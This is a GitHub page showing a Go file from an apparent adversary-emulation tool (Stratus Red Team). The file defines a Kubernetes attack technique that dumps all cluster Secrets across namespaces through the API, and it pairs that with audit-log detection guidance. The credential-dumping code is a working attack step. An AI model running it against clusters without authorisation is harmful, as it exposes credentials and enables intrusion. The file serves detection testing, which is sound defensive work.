-
Notifications
You must be signed in to change notification settings - Fork 201
/
main.go
89 lines (76 loc) · 2.33 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package kubernetes
import (
"context"
_ "embed"
"errors"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"log"
"strconv"
)
func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "k8s.credential-access.dump-secrets",
FriendlyName: "Dump All Secrets",
Platform: stratus.Kubernetes,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.CredentialAccess},
Description: `
Dumps all Secrets from a Kubernetes cluster.
This allow an attacker with the right permissions to trivially access all secrets in the cluster.
Warm-up: None
Detonation:
- Dump secrets using the **LIST /api/v1/secrets** API
- This returns all secrets in the K8s clusters, no matter their namespace
References:
- https://darkbit.io/blog/the-power-of-kubernetes-rbac-list
`,
Detection: `
Using Kubernetes API server audit logs. In particular, look for **list secrets** requests that are not performed
for a specific namespace (i.e., that apply to all namespaces).
Sample event (shortened):
` + codeBlock + `json
{
"apiVersion": "audit.k8s.io/v1",
"stage": "ResponseComplete",
"kind": "Event",
"level": "Metadata",
"requestURI": "/api/v1/secrets?limit=500",
"attributes": {
"objectRef": {
"resource": "secrets",
"apiVersion": "v1"
},
"http": {
"url_details": {
"path": "/api/v1/secrets",
"queryString": {
"limit": "500"
}
},
"method": "list"
}
}
}
` + codeBlock + `
Some built-in Kubernetes components might need to be excluded from such a detection:
- namespace-controller
- kube-state-metrics
- apiserver
`,
Detonate: detonate,
})
}
func detonate(_ map[string]string, providers stratus.CloudProviders) error {
client := providers.K8s().GetClient()
log.Println("Attempting to dump secrets in all namespaces")
result, err := client.CoreV1().Secrets("").List(context.Background(), metav1.ListOptions{Limit: int64(1000)})
if err != nil {
return errors.New("unable to dump cluster secrets: " + err.Error())
}
numSecrets := len(result.Items)
log.Println("Successfully dumped " + strconv.Itoa(numSecrets) + " secrets from the cluster")
return nil
}